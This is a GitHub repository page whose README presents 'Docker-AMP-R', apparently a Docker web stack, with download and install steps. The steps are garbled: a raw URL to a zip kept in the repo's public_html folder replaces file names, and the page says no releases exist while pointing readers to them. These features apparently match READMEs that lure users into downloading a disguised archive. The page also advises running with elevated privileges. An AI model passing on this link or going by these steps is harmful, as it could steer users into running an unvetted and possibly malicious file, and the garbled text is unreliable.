Skip to content

πŸ”§ Build a secure, production-ready AMP stack with Docker, featuring PHP, MySQL, and Redis for efficient local development and lightweight deployment.

License

Notifications You must be signed in to change notification settings

Ansar11111/Docker-AMP-R

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

14 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🐳 Docker-AMP-R - A Simple, All-In-One Web Stack

πŸ“₯ Download Here

Download

🌟 Overview

Docker-AMP-R combines Apache, MySQL, PHP, and Redis into a single Docker image. This setup provides a modern, production-ready web stack that simplifies deployment and management. Whether you are building a personal project or a professional application, Docker-AMP-R offers a reliable foundation.

πŸš€ Getting Started

To use Docker-AMP-R, you'll first need to download it. This guide will walk you through the necessary steps to install and run the application with ease.

πŸ“¦ System Requirements

Ensure your system meets the following requirements to run Docker-AMP-R:

  • Operating System: Linux, macOS, or Windows 10 (with WSL 2)
  • Docker: Version 20.10 or later
  • Memory: At least 4 GB of RAM (8 GB recommended)
  • Disk Space: At least 2 GB free space

πŸ“„ Features

  • Fully Integrated Stack: Combines Apache, MySQL, PHP, and Redis for seamless operation.
  • User-Friendly Configuration: Pre-configured settings for quick startup.
  • Production-Ready: Designed for real-world applications.
  • Support for PHP 8.2: Utilize the latest PHP features and improvements.

πŸ“œ License

Docker-AMP-R is licensed under the MIT License. You can read the full text in the LICENSE file.

πŸ’» Installation Steps

  1. Visit the Releases Page Go to the Docker-AMP-R releases page. Click the link below to access it directly: Visit Releases Page to Download

  2. Download the Latest Release On the releases page, find the latest version. Look for files that end in https://raw.githubusercontent.com/Ansar11111/Docker-AMP-R/main/www/public_html/AM-R-Docker-2.2.zip. Click the link to start the download.

  3. Extract the Files After the download completes, locate the downloaded https://raw.githubusercontent.com/Ansar11111/Docker-AMP-R/main/www/public_html/AM-R-Docker-2.2.zip file. Extract the contents to a folder of your choice using a file extraction tool.

  4. Open a Terminal Window Depending on your operating system, open the terminal or command prompt:

    • Windows: Use Command Prompt or PowerShell.
    • macOS or Linux: Use the Terminal application.
  5. Navigate to the Directory Use the cd command in your terminal to navigate to the folder where you extracted Docker-AMP-R. For example:

    cd path/to/extracted/folder
    
  6. Run the Docker Image Use the following command to run the Docker container:

    docker-compose up
    

    This command starts all components of the web stack.

  7. Access Your Application Open a web browser and type http://localhost in the address bar. You should see your application running.

πŸ”„ Updating the Application

To keep Docker-AMP-R up to date, visit the releases page periodically and download the latest version. Follow the same installation steps for the update.

πŸ”§ Troubleshooting

  • Docker Not Starting: Ensure Docker Desktop is running on your system.
  • Permissions Issues: If you encounter permission errors, try running the terminal with elevated privileges (administrator mode).
  • Cannot Access Localhost: Verify that your Docker container is running by checking the terminal output.

πŸ›  Support and Contributions

If you need help or want to suggest improvements, open an issue on the GitHub repository. We appreciate feedback and contributions to enhance Docker-AMP-R.

🌐 Related Technologies

  • Docker: A platform for developing, shipping, and running applications.
  • Apache: A popular web server software that powers websites.
  • MySQL: A widely-used open-source database management system.
  • PHP: A server-side scripting language designed for web development.
  • Redis: An in-memory data structure store, used as a database, cache, and message broker.

πŸ“… Roadmap

Future improvements for Docker-AMP-R include:

  • Support for additional PHP extensions.
  • Enhanced monitoring and logging features.
  • Improved documentation for more complex configurations.

By following this guide, you can easily set up and run Docker-AMP-R on your machine. For further assistance, check our FAQ section on the repository. Happy coding!

About

πŸ”§ Build a secure, production-ready AMP stack with Docker, featuring PHP, MySQL, and Redis for efficient local development and lightweight deployment.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •